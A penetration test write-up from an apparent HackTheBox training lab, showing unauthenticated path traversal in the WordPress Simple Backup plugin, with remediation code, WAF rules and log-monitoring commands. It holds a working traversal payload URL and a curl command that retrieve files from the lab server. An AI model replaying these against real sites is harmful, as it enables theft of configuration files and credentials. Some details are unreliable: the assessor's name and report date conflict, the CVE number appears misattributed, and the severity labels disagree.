
Detailed penetration test report demonstrating unauthenticated path traversal (CVE-2019-11447) in WordPress Simple Backup plugin, including exploitation steps, impact analysis, and remediation guidance.
| Item | Details |
|---|
| Document Title | Penetration Test Report - WordPress Path Traversal |
| Client/Exam | HackTheBox Lab - CPTS Exercise 1 |
| Date | August 22, 2026 |
| Assessor | Cyberia (Penetration Tester) |
| Assessment Type | Gray Box (External, No Credentials) |
| Lab Environment | 154.57.164.73:30706 |
| Lab Duration | 1 Hour |
| Objectives | Identify and exploit vulnerabilities to retrieve restricted files |
| Flag Obtained | HTB{my_f1r57_h4ck} |
During this penetration assessment of the web application hosted on 154.57.164.73:30706, a critical vulnerability was identified that allows unauthenticated attackers to download and read arbitrary files from the server filesystem.
The vulnerable WordPress installation contains an outdated plugin (Simple Backup v2.7.10) with a path traversal vulnerability (CVE-2019-11447) that permits unauthorized file access without requiring authentication or authorization.
This vulnerability was successfully exploited to retrieve the /flag.txt file from the server root, confirming complete compromise of confidentiality. An attacker with this access could:
wp-config.php, .env)Critical action is required to remediate this vulnerability immediately, as it poses an extreme risk to data security, privacy compliance (GDPR, HIPAA, PCI-DSS), and system integrity.
| Severity | Count | Business Impact |
|---|---|---|
| 🔴 CRITICAL | 1 | Complete confidentiality breach; unauthorized file access |
| 🟠 HIGH | 0 | — |
| 🟡 MEDIUM | 0 | — |
| 🟢 LOW | 0 | — |
| ℹ️ INFORMATIONAL | 1 | Outdated software versions detected |
Assessment Type: Gray Box (external attacker, no credentials provided, network access available)
Assessment Dates: August 22, 2026
Testing Approach: Non-evasive, methodical assessment following industry-standard penetration testing framework (PTES):
CVE-2019-11447 | CWE-22: Improper Limitation of a Pathname to a Restricted Directory
The WordPress plugin Simple Backup (version 2.7.10/2.7.11, Exploit-DB 39883) contains a path traversal vulnerability in its admin "Backup Manager" page. The plugin fails to sanitize the file path supplied through the download_backup_file GET parameter, allowing an attacker to traverse outside the intended simple-backup/ directory using relative path sequences (../) and download any file readable by the web server process — including files at the filesystem root.
The vulnerable endpoint:
GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
page=backup_manager routes the request into the plugin's admin page handler; download_backup_file is the parameter the plugin's code reads directly and concatenates into a filesystem path without validation, allowing directory traversal.
7.5 - HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Confidentiality Breach: ⚠️ CRITICAL
Attackers can read any file accessible to the web server, including:
| File | Impact | Risk Level |
|---|---|---|
/wp-config.php | Database credentials, salts, keys | 🔴 CRITICAL |
/.env | API keys, secrets, configuration | 🔴 CRITICAL |
/etc/passwd | User enumeration, system mapping | 🟠 HIGH |
SSH keys (.ssh/id_rsa) | Lateral movement, system access | 🔴 CRITICAL |
/proc/self/environ | Running application secrets | 🟠 HIGH |
| User uploads directory | Private files, media | 🟠 HIGH |
Regulatory Impact:
The Exploit-DB advisory (39883.txt, read via searchsploit -x — see ht4-poc.png) documents the plugin's delete primitive from simple-backup-manager.php:
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);
$filename comes straight from $_GET['delete_backup_file'] with no basename() or path-containment check. Passing ../pizza.txt resolves $bk_dir . $filename to .../simple-backup/../pizza.txt → .../pizza.txt, escaping the intended backup folder.
The download primitive actually exploited in this engagement (download_backup_file) follows the exact same unsanitized concatenation pattern in the same plugin, but serves the file back to the requester instead of deleting it — which is what allowed retrieval of /flag.txt from the filesystem root (10× ../ from ABSPATH/simple-backup/).
The Problem:
basename() to remove directory componentsrealpath() stays within ABSPATH."simple-backup/"current_user_can() / authentication check before serving the file — the handler runs on plugin load, before WordPress's own wp-admin auth gate, so it is reachable without being logged inConnected directly to the target via browser (http://154.57.164.73:30706/). The WordPress installation is titled "GETTING STARTED", and a public blog post on the homepage discloses the exact plugin name and version in plain text: "Simple Backup Plugin 2.7.10 for WordPress" — no enumeration tooling was even required to fingerprint the vulnerable component.

whatweb http://154.57.164.73:30706/
Result: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmed via MetaGenerator and WordPress plugin signatures.

searchsploit simple backup wordpress
Result:
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Reading the full advisory to understand the exact vulnerable parameters and code path:
searchsploit -x php/webapps/39883.txt
The advisory documents unauthenticated Arbitrary File Deletion via the delete_backup_file parameter, and notes that backup files under simple-backup/ (and, by the same unsanitized code path, arbitrary files via download_backup_file) can be retrieved without authentication.

download_backup_fileVulnerable endpoint identified from the plugin's admin page routing:
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Exploitation payload (10× ../ to walk from ABSPATH/simple-backup/ back to filesystem root):
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
GUI (used in this assessment): the payload URL was navigated to directly in the browser address bar. No login was required — the browser triggered an automatic file download of the resolved flag.txt.

Headless equivalent:
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Flag Obtained: HTB{my_f1r57_h4ck}
The vulnerability succeeds because:
$_GET['download_backup_file'] is not checked against a whitelistrealpath() is not used to verify the file stays inside simple-backup/../) are not filteredABSPATH."simple-backup/"wp-admin auth gate — reachable while logged outcurrent_user_can() check confirms the requester should access the requested fileAttack Flow:
User Input: ../../../../../../../../../../flag.txt
↓
No Validation (FAILURE POINT)
↓
Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt
↓
Resolves to: /flag.txt (accessible!)
↓
Plugin serves file contents with web server permissions
↓
Browser downloads flag.txt to attacker's machine
✅ Confidentiality Compromised: Any file readable by web server process is accessible ✅ No Authentication Required: Unauthenticated users can exploit ✅ No User Interaction Needed: Direct HTTP request exploitation ✅ Repeatable & Reliable: Works on all vulnerable versions ✅ Critical Business Data at Risk: Configuration files, credentials, user data exposed
Only allow downloads from a predefined list of files:
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Advantages:
Use realpath() to canonicalize paths and verify containment:
<?php
$user_input = $_GET['download_backup_file'];
$base_dir = realpath(ABSPATH . "simple-backup/");
$requested_path = realpath($base_dir . "/" . basename($user_input));
// Verify the resolved path is still within base directory
if ($requested_path === false || strpos($requested_path, $base_dir) !== 0) {
die("Path traversal attempt detected!");
}
if (!file_exists($requested_path)) {
die("File not found");
}
readfile($requested_path);
?>
Advantages:
Extract only the filename component:
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Advantages:
Note: This approach only works if all legitimate files are in a single directory with no subdirectories.
Web Application Firewall (WAF) Rules:
# Block path traversal attempts
ModSecurity Rule:
SecRule ARGS:download_backup_file "@rx \.\./" "id:1000,phase:2,block,msg:'Path Traversal Attempt'"
SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
File System Permissions:
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Access Logging & Monitoring:
# Monitor for traversal attempts in web logs
tail -f /var/log/apache2/access.log | grep "\.\."
tail -f /var/log/apache2/access.log | grep "%2e%2e"
# Alert on suspicious file access patterns
# Integration with SIEM (Splunk, ELK, etc.)
Update Management:
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
A critical path traversal vulnerability exists in the WordPress Simple Backup plugin that allows unauthenticated attackers to download and read arbitrary files from the server. This vulnerability was successfully exploited to retrieve sensitive files from the web root.
Risk Level: 🔴 CRITICAL
| Priority | Action | Timeline | Owner |
|---|---|---|---|
| 🔴 P0 | Disable/Remove Simple Backup plugin | Immediately | Security/Ops |
| 🔴 P0 | Implement whitelist-based file validation | This week | Development |
| 🟠 P1 | Deploy WAF rules to block path traversal | This week | Ops |
| 🟠 P1 | Audit server for unauthorized access logs | This week | Security |
| 🟠 P1 | Rotate all exposed credentials (DB, SSH, API) | This week | Ops |
| 🟡 P2 | Update WordPress core and all plugins | This week | Ops |
| 🟡 P2 | Implement file integrity monitoring | Next sprint | Security |
| 🟡 P2 | Conduct full security audit of other plugins | Next sprint | Security |
Finding: WordPress site "GETTING STARTED" publicly discloses the installed plugin and version in a blog post — "Simple Backup Plugin 2.7.10 for WordPress"
Finding: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmed
Finding: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
Finding: Advisory documents unauthenticated arbitrary file deletion via delete_backup_file; same unsanitized code path applies to download_backup_file
Finding: Navigating to tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt triggers an unauthenticated download of flag.txt: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup Path Traversal
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CVSS v3.1 Score: 7.5 (High)
OWASP Top 10 - A01:2021 Broken Access Control
OWASP Path Traversal
PortSwigger Web Security Academy - Path Traversal
SearchSploit — Exploit Database Search
NMAP — Network Mapper
WhatWeb — Web Fingerprinting Tool
This report documents a penetration test conducted with proper authorization and within defined scope.
| Item | Value |
|---|---|
| Report Status | ✅ Complete |
| Findings Verified | ✅ Yes |
| Recommendations Actionable | ✅ Yes |
| Confidentiality | 🔒 High |
| Distribution | Restricted to authorized personnel |
Assessor: Capivara Root (Penetration Tester)
Date: August 11, 2026
Signature: Digital Report - No physical signature required
© 2026 Penetration Testing Assessment | Confidential